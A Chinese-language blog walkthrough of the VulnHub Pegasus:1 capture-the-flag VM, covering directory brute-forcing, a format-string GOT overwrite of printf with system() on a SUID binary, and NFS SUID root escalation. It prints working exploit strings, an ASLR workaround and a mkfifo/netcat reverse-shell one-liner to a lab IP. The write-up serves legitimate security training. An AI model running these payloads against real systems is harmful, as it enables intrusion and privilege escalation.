No.44-VulnHub-Pegasus: 1-Walkthrough渗透学习

**

VulnHub-Pegasus: 1-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/pegasus-1,109/
靶机难度:中级(CTF)
靶机发布日期:2014年12月16日
靶机描述:
欢迎使用我的第一个boot2root VM!受到各种CTF活动的启发,以及我在过去几个月中学到的一些很棒的概念。
交战规则很简单-找到一条路,将您的特权一直升级到最根本并获得标志!
与所有此类VM一样,跳出框框思考,不要太早得出结论并“精打细算” 😃
VM已在VMWare和VirtualBox上经过测试,只需将其导入,确保将网络设置为“仅主机”并运行它。它应该自动获取IP地址。
请享用!😃
作者:大余
时间:2020-02-06
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
在这里插入图片描述
我们已经找到了此次CTF目标计算机IP地址:192.168.56.139
在这里插入图片描述
nmap发现开放了22、111、8088、51435端口…我这边先对web进行渗透…比较喜欢
在这里插入图片描述
天马…很帅的一张图…利用exiftool没发现什么东西…
在这里插入图片描述
正常情况下nikto和dirb无法扫到任何信息…我使用rockyou单词表进行php扫描…发现http://192.168.56.139:8088/submit.php
在这里插入图片描述
我感觉还有东西…坚持用更强的工具进行爆破…dirbuster但是时间太久了,我换了wfuzz使用directory-list-2.3-medium.txt单词表…
在这里插入图片描述
命令:wfuzz -c -z file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404 http://192.168.56.139:8088/FUZZ.php
发现了存在codereview.php链接…
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我复制了shell进去,点上传…
在这里插入图片描述
已经发送出去了…可是我打开NC等了几分钟没啥反应…说明不支持PHP代码…我去分析下…
在这里插入图片描述
我这边使用system代审查看下,发现回复的是…
抱歉,由于安全预防措施,Mike不会查看任何包含system()函数调用的代码…
这里可以看得出,应该是限制了某种语言,我试试别的…

二、提权

在github找了到…链接
在这里插入图片描述
在这里插入图片描述
成功提权mike用户…
在这里插入图片描述
发现id_rsa…密匙???难道和上两章一样可以直接提权??
在这里插入图片描述
不行…我去查看下my_first… (这里的.ssh/authorized_keys密匙作用是:以便无需使用反向Shell即可进行SSH输入…)

缓冲区溢出:格式字符串漏洞

在这里插入图片描述
这是拥有john用户的SUID位置1的二进制文件…
在这里插入图片描述
测试中1+2返回的是总和,应该存在格式字符串漏洞…测试下…

  1. 模糊安全格式字符串开发-第1部分
  2. 模糊安全格式字符串开发-第2部分
    在这里插入图片描述
    通过将%x的格式字符串参数提交到工具来测试它是否容易受到攻击…
    重播的错误详细信息为bfb66ffc,它似乎是栈堆的位置,%x格式参数是用于从堆栈中读取数据…
    可以看到第二个数字有格式字符串漏洞…
    在这里插入图片描述
    命令:printf '1\n1\n1\n4\n' | ./my_first
    这里用了简单的printf字符串进行测试…对加1到1的样本开始进行采样…
    现在要确定可以控制堆栈中的哪个参数…
    在这里插入图片描述
    命令:printf '1\n1\nAAAA.0x%%x\n4\n' | ./my_first
    通过为它提供一个4A的字符串,然后将格式字符串参数增加1直到找到4A,这边使用了格式化为十六进制%x,我需要找到41414141,因此格式字符串将以开头AAAA.0x%s…
    输出AAAA.0xbfb85f2c…需要不断增加值…
    在这里插入图片描述
    命令:printf '1\n1\nAAAA.0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x\n4\n' | ./my_first
    使得可以进入参数8,我加了8组0x%%x…找到了十六进制的A字符…
    在这里插入图片描述
    命令:printf '1\n1\nAAAA.0x%%8$x\n4\n' | ./my_first
    由于格式字符串中使用直接参数访问,可以直接引用参数8…
    可以看到格式字符串中的参数8,是堆栈部分的开始…
    继续使用%n格式字符串写入内存中的任意区域…要找到printf…(print前面章节也讲过,写过一篇格式字符串的)
    在这里插入图片描述
    命令:objdump -R ./my_first
    为了能转储GOT…使用objdump查找printf…
    printf查看到的位置是:08049bfc,这是要重写printf libc地址的部分system()…
    现在需要知道system()实际位置,(可能影响内存中此位置的重要向量称为ASLR)它将有效地导致system()每次运行./my_first时其地址都不同,为了解决这个问题,可以使用ulimit来增加堆栈大小,ulimit -s unlimited将最大化堆栈大小,有效地导致ASLR实际上不存在…
    在这里插入图片描述
    命令:ulimit -s unlimited
    可以看到开始是8192…使用后不存在了…
    随着ASLR问题解决了,直接找到system()地址即可…直接上GDB…讲了很多次的
    在这里插入图片描述
    命令:gdb -q ./my_first
    命令:b main
    …这里的P是printf system
    可以看到system()在0x40069060…现在要使用的格式化字符串漏洞来写(使用%n)printf()在08049bfc上的新地址…以08049bfc点在system()的0x40069060写,而不是其真正的位置…
    在这里插入图片描述
    命令:printf '1\n1\n\xfc\x9b\x04\x08%%8$n' > dayu
    命令:x/x 0x08049bfc
    可以看到准备格式字符串所需的填充时,主要为了调试应用程序…
    上图是将使用printf()用于管道的方法对./my_first来重定向到文件,然后在中gdb中运行二进制文件,可以看到使用编译的文件来重定向输入到printf()…
    结果可以看到,正按照我的思路走着,继续…
    剩下的就是填充格式字符串…

这里我详细的讲解下,NO.36章里面格式字符串最后有算数的地方…
这边使用python来计算内存写入字节数,要做的是在内存位置写入字节数,要写到system位置,前面知道它的内存位于0x40069060,我们将计算分为两部分,首先写0x9060,然后写0x4006,我们可以看到已经写入了4个字节…
在这里插入图片描述
命令:shell echo $(python -c 'print 0x9060-0x4')
可以看到写入的前四个字节是:36956,然后减去4个字节,是36952,并填充pad参数8…
现在要确定地址的上半部分,将进行另一次十六进制计算,并从所需数量中删除所拥有的数量…
在这里插入图片描述
命令:shell echo $(python -c 'print 0x14006-0x9060')
这里需要在最低有效位上加一个1,这会进入相同的内存地址,0x14006在去进行减法…可以看到:44966
这里末尾添加%9 $ n才能真正覆盖此地址…
这里生成的格式字符串为:\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44966u%%9$n
在这里插入图片描述
在这里插入图片描述
命令:printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44966u%%9$n' > dayu
这里出现了sh: 1: Selection:: not found说明已经快完成了,没出现就前面出错了…
经过检验…输出是正确的…确认可以用system()覆盖printf()了…
解释下二进制文件使用导致崩溃sh: 1: Selection:: not found,表示它现在正在尝试运行,由于GOT覆盖的是system(“Selection:”)而不是printf(“Selection:”)…
在这里插入图片描述
是在返回主菜单时调用printf,当字符串Selection:被放置到堆栈上时,它将被传递到system调用中…
所以需要创建mkdir Selection:文件…然后赋予权利…chmod +x Selection:
命令:echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f' > Selection\:
然后写入一个简单的netcat(不带-e)…
执行即可…
在这里插入图片描述
可以看到成功获得john权限…但是不太稳定…需要直接进入john,使用ssh生成密匙登陆…
在这里插入图片描述
命令:ssh-keygen -t rsa -C john
创建好了ssh密匙后…将公钥添加到john的授权密钥文件中…(前面章节也讲过)
在这里插入图片描述
写入到john的rsa即可…
在这里插入图片描述
命令:chmod 600 authorized_keys (记得给与权限…)
写入后直接登陆即可…
在这里插入图片描述
命令:ssh john@192.168.56.139 -i john-key
在这里插入图片描述
成功登陆到john用户后,sudo提权发现/usr/local/sbin/nfs目录文件可执行root…又是NFS…
前面讲过很多NFS共享目录的事情,直接在本地共享下,创建个shell,即可提权root…GO
在这里插入图片描述
启动…
命令:mount 192.168.56.139:/opt/nfs nfs
在本地创建文件夹nfs,然后mount共享即可…
在这里插入图片描述
然后在本地nfs创建一个文本…
在这里插入图片描述
在靶机中复制/bin/dash到此可写文件…然后回到本机调整SUID和SGID的位置1…
访问即可提权成功… NFS参考EXP:链接
当然,cp /bin/sh 也可以提权…因为不管是sh还是dash,创建的任何文件都具有root权限…
在这里插入图片描述
在这里插入图片描述
查看flag…
在这里插入图片描述
成功获得root权限和flag…

前期利用wfuzz不同单词表爆破出了codereview.php…然后上传system编码获得shell…然后发现my_first二进制文件缓冲区溢出的格式字符串漏洞…到利用ssh密匙转换获得john用户权限…最后利用NFS进行root提权…

这里更加熟悉了我的弱项缓冲区溢出,格式字符串漏洞…加油!!

由于我们已经成功得到root权限查看flag,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值